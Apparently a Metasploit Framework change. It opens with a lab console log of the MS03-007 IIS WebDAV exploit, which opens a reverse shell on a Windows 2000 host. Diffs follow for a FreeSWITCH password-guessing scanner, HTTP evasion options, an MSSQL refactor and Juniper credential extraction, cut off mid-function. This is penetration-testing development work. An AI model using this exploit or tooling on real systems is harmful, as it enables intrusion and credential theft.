msf6 > use exploit/windows/iis/ms03_007_ntdll_webdav
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195
rhosts => 192.168.200.195
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > check
[+] 192.168.200.195:80 - The target is vulnerable. We've hit a server error (exception)
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Trying return address 0x004e004f (1 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[-] Connection failed (3 of 20)...
[-] Connection failed (4 of 20)...
[*] Trying return address 0x00ce004f (2 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[*] Trying return address 0x00ce0041 (3 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[-] Connection failed (3 of 20)...
[-] Connection failed (4 of 20)...
[*] Trying return address 0x00430041 (4 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[*] Trying return address 0x00b40041 (5 / 88)...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.195
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1066) at 2022-07-07 06:13:21 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
C:\WINNT\system32>
```
@@ -0,0 +1,80 @@
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/tcp/client'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with FreeSWITCH EventSocket.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class FreeswitchEventSocket
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
DEFAULT_PORT = 8021
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'freeswitch' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
host: host,
port: port,
protocol: 'tcp',
service_name: 'freeswitch'
}
disconnect if self.sock
begin
connect
select([sock], nil, nil, 0.4)
sock.get_once
sock.put("auth #{credential.private}\n\n")
/Reply-Text: (?<reply>.*)/ =~ sock.get_once
result_options[:proof] = reply
# Invalid password - ( -ERR invalid\n\n )
# Valid password - ( +OK accepted\n\n )
if result_options[:proof]&.include?('-ERR invalid')
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
elsif result_options[:proof]&.include?('+OK accepted')
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
end
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE, Rex::StreamClosedError => e
result_options.merge!(
proof: e.message,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
end
disconnect if self.sock
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
private
# (see Base#set_sane_defaults)
def set_sane_defaults
self.connection_timeout ||= 10
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
end
end
end
end
@@ -117,6 +117,14 @@ module Metasploit
# @return [Integer] How many fake post variables to insert into the request
attr_accessor :evade_pad_post_params_count
# @!attribute evade_shuffle_get_params
# @return [Boolean] Randomize order of GET parameters
attr_accessor :evade_shuffle_get_params
# @!attribute evade_shuffle_post_params
# @return [Boolean] Randomize order of POST parameters
attr_accessor :evade_shuffle_post_params
# @!attribute evade_uri_fake_end
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
attr_accessor :evade_uri_fake_end
@@ -327,6 +335,8 @@ module Metasploit
'pad_get_params_count' => evade_pad_get_params_count,
'pad_post_params' => evade_pad_post_params,
'pad_post_params_count' => evade_pad_post_params_count,
'shuffle_get_params' => evade_shuffle_get_params,
'shuffle_post_params' => evade_shuffle_post_params,
'uri_fake_end' => evade_uri_fake_end,
'uri_fake_params_start' => evade_uri_fake_params_start,
'header_folding' => evade_header_folding,
+354
View File
@@ -0,0 +1,354 @@
module Metasploit
module Framework
module MSSQL
# A base mixin of useful mssql methods for parsing structures etc
module Base
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if head[1, 1] == "\x01" || !check_status
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if len && len > 0
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
end
end
end
end
+3 -345
View File
@@ -1,5 +1,6 @@
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/mssql/tdssslproxy'
require 'metasploit/framework/mssql/base'
module Metasploit
module Framework
@@ -8,32 +9,7 @@ module Metasploit
module Client
extend ActiveSupport::Concern
include Metasploit::Framework::Tcp::Client
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
include Metasploit::Framework::MSSQL::Base
#
# This method connects to the server over TCP and attempts
@@ -145,7 +121,7 @@ module Metasploit
if tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = proxy.send_recv(pkt, 15, false)
resp = proxy.send_recv(pkt)
else
resp = mssql_send_recv(pkt, 15, false)
end
@@ -281,278 +257,6 @@ module Metasploit
info[:login_ack] ? true : false
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0)
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if (len and len > 0)
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if (len and len > 0)
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
#this method send a prelogin packet and check if encryption is off
#
@@ -690,56 +394,10 @@ module Metasploit
encryption_mode
end
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if head[1, 1] == "\x01" || !check_status
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
tdsproxy.send_recv(req)
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
protected
def windows_authentication
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.4"
VERSION = "6.2.8"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+259 -238
View File
@@ -3,257 +3,278 @@
require 'metasploit/framework/hashes/identify'
module Msf
###
#
# This module provides methods for working with Juniper equipment
#
###
module Auxiliary::Juniper
include Msf::Auxiliary::Report
###
#
# This module provides methods for working with Juniper equipment
#
###
module Auxiliary::Juniper
include Msf::Auxiliary::Report
def juniper_screenos_config_eater(thost, tport, config)
# this is for the netscreen OS, which came on SSG (ie SSG5) type devices.
# It is similar to cisco, however it doesn't always put all fields we care
# about on one line.
# Docs: snmp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB4223
# ppp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB22592
# ike -> https://kb.juniper.net/KB4147
# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L171
def juniper_screenos_config_eater(thost, tport, config)
# this is for the netscreen OS, which came on SSG (ie SSG5) type devices.
# It is similar to cisco, however it doesn't always put all fields we care
# about on one line.
# Docs: snmp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB4223
# ppp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB22592
# ike -> https://kb.juniper.net/KB4147
# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L171
report_host({
host: thost,
os_name: 'Juniper ScreenOS'
})
report_host({
:host => thost,
:os_name => 'Juniper ScreenOS'
})
if framework.db.active
credential_data = {
address: thost,
port: tport,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: '',
private_type: :nonreplayable_hash,
module_fullname: self.fullname,
status: Metasploit::Model::Login::Status::UNTRIED
}
end
store_loot('juniper.netscreen.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper Netscreen Configuration')
# admin name and password
# Example lines:
# set admin name "netscreen"
# set admin password "nKVUM2rwMUzPcrkG5sWIHdCtqkAibn"
config.scan(/set admin name "(?<admin_name>[a-z0-9]+)".+set admin password "(?<admin_password_hash>[a-z0-9]+)"/mi).each do |result|
admin_name = result[0].strip
admin_hash = result[1].strip
print_good("Admin user #{admin_name} found with password hash #{admin_hash}")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = admin_name
cred[:private_data] = admin_hash
create_credential_and_login(cred)
end
# user account
# Example lines:
# set user "testuser" uid 1
# set user "testuser" type auth
# set user "testuser" hash-password "02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE="
# set user "testuser" enable
config.scan(/set user "(?<user_name>[a-z0-9]+)" uid (?<user_uid>\d+).+set user "\k<user_name>" type (?<user_type>\w+).+set user "\k<user_name>" hash-password "(?<user_hash>[0-9a-z=]{38})".+set user "\k<user_name>" (?<user_enable>enable).+/mi).each do |result|
user_name = result[0].strip
user_uid = result[1].strip
user_enable = result[4].strip
user_hash = result[3].strip
print_good("User #{user_uid} named #{user_name} found with password hash #{user_hash}. Enable permission: #{user_enable}")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = user_name
cred[:jtr_format] = 'sha1'
cred[:private_data] = user_hash
create_credential_and_login(cred)
end
# snmp
# Example lines:
# set snmp community "sales" Read-Write Trap-on traffic version v1
config.scan(/set snmp community "(?<snmp_community>[a-z0-9]+)" (?<snmp_permissions>Read-Write|Read-Only)/i).each do |result|
snmp_community = result[0].strip
snmp_permissions = result[1].strip
print_good("SNMP community #{snmp_community} with permissions #{snmp_permissions}")
next unless framework.db.active
cred = credential_data.dup
if snmp_permissions.downcase == 'read-write'
cred[:access_level] = 'RW'
else
cred[:access_level] = 'RO'
end
cred[:protocol] = 'udp'
cred[:port] = 161
cred[:service_name] = 'snmp'
cred[:private_data] = snmp_community
cred[:private_type] = :password
create_credential_and_login(cred)
end
# ppp
# Example lines:
# setppp profile "ISP" auth type pap
# setppp profile "ISP" auth local-name "username"
# setppp profile "ISP" auth secret "fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA=="
config.scan(/setppp profile "(?<ppp_name>[a-z0-9]+)" auth type (?<ppp_authtype>[a-z]+).+setppp profile "\k<ppp_name>" auth local-name "(?<ppp_username>[a-z0-9]+)".+setppp profile "\k<ppp_name>" auth secret "(?<ppp_hash>.+)"/mi).each do |result|
ppp_name = result[0].strip
ppp_username = result[2].strip
ppp_hash = result[3].strip
ppp_authtype = result[1].strip
print_good("PPTP Profile #{ppp_name} with username #{ppp_username} hash #{ppp_hash} via #{ppp_authtype}")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = ppp_username
cred[:private_data] = ppp_hash
cred[:service_name] = 'pptp'
cred[:port] = 1723
create_credential_and_login(cred)
end
# ike
# Example lines:
# set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"
config.scan(/set ike gateway "(?<ike_name>.+)" address (?<ike_address>[0-9.]+) Main outgoing-interface ".+" preshare "(?<ike_password>.+)" proposal "(?<ike_method>.+)"/i).each do |result|
ike_name = result[0].strip
ike_address = result[1].strip
ike_password = result[2].strip
ike_method = result[3].strip
print_good("IKE Profile #{ike_name} to #{ike_address} with password #{ike_password} via #{ike_method}")
next unless framework.db.active
cred = credential_data.dup
cred[:private_data] = ike_password
cred[:private_type] = :password
cred[:service_name] = 'ike'
cred[:port] = 500
cred[:address] = ike_address
cred[:protocol] = 'udp'
create_credential_and_login(cred)
end
end
def juniper_junos_config_eater(thost, tport, config)
report_host({
:host => thost,
:os_name => 'Juniper JunOS'
})
if framework.db.active
credential_data = {
address: thost,
port: tport,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
private_type: :nonreplayable_hash,
service_name: '',
module_fullname: self.fullname,
status: Metasploit::Model::Login::Status::UNTRIED
}
end
store_loot('juniper.junos.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper JunOS Configuration')
# we'll take out the pretty format so its easier to regex
config = config.split("\n").join('')
# Example:
#system {
# root-authentication {
# encrypted-password "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E."; ## SECRET-DATA
# }
#}
if /root-authentication[\s]+\{[\s]+encrypted-password "(?<root_hash>[^"]+)";/i =~ config
root_hash = root_hash.strip
jtr_format = identify_hash root_hash
print_good("root password hash: #{root_hash}")
if framework.db.active
credential_data = {
address: thost,
port: tport,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: '',
private_type: :nonreplayable_hash,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
}
end
store_loot('juniper.netscreen.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper Netscreen Configuration')
# admin name and password
# Example lines:
# set admin name "netscreen"
# set admin password "nKVUM2rwMUzPcrkG5sWIHdCtqkAibn"
config.scan(/set admin name "(?<admin_name>[a-z0-9]+)".+set admin password "(?<admin_password_hash>[a-z0-9]+)"/mi).each do |result|
admin_name = result[0].strip
admin_hash = result[1].strip
print_good("Admin user #{admin_name} found with password hash #{admin_hash}")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = 'root'
cred[:jtr_format] = jtr_format
cred[:private_data] = root_hash
cred[:username] = admin_name
cred[:private_data] = admin_hash
create_credential_and_login(cred)
end
# user account
# Example lines:
# set user "testuser" uid 1
# set user "testuser" type auth
# set user "testuser" hash-password "02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE="
# set user "testuser" enable
config.scan(/set user "(?<user_name>[a-z0-9]+)" uid (?<user_uid>\d+).+set user "\k<user_name>" type (?<user_type>\w+).+set user "\k<user_name>" hash-password "(?<user_hash>[0-9a-z=]{38})".+set user "\k<user_name>" (?<user_enable>enable).+/mi).each do |result|
user_name = result[0].strip
user_uid = result[1].strip
user_enable = result[4].strip
user_hash = result[3].strip
print_good("User #{user_uid} named #{user_name} found with password hash #{user_hash}. Enable permission: #{user_enable}")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = user_name
cred[:jtr_format] = 'sha1'
cred[:private_data] = user_hash
create_credential_and_login(cred)
end
# snmp
# Example lines:
# set snmp community "sales" Read-Write Trap-on traffic version v1
config.scan(/set snmp community "(?<snmp_community>[a-z0-9]+)" (?<snmp_permissions>Read-Write|Read-Only)/i).each do |result|
snmp_community = result[0].strip
snmp_permissions = result[1].strip
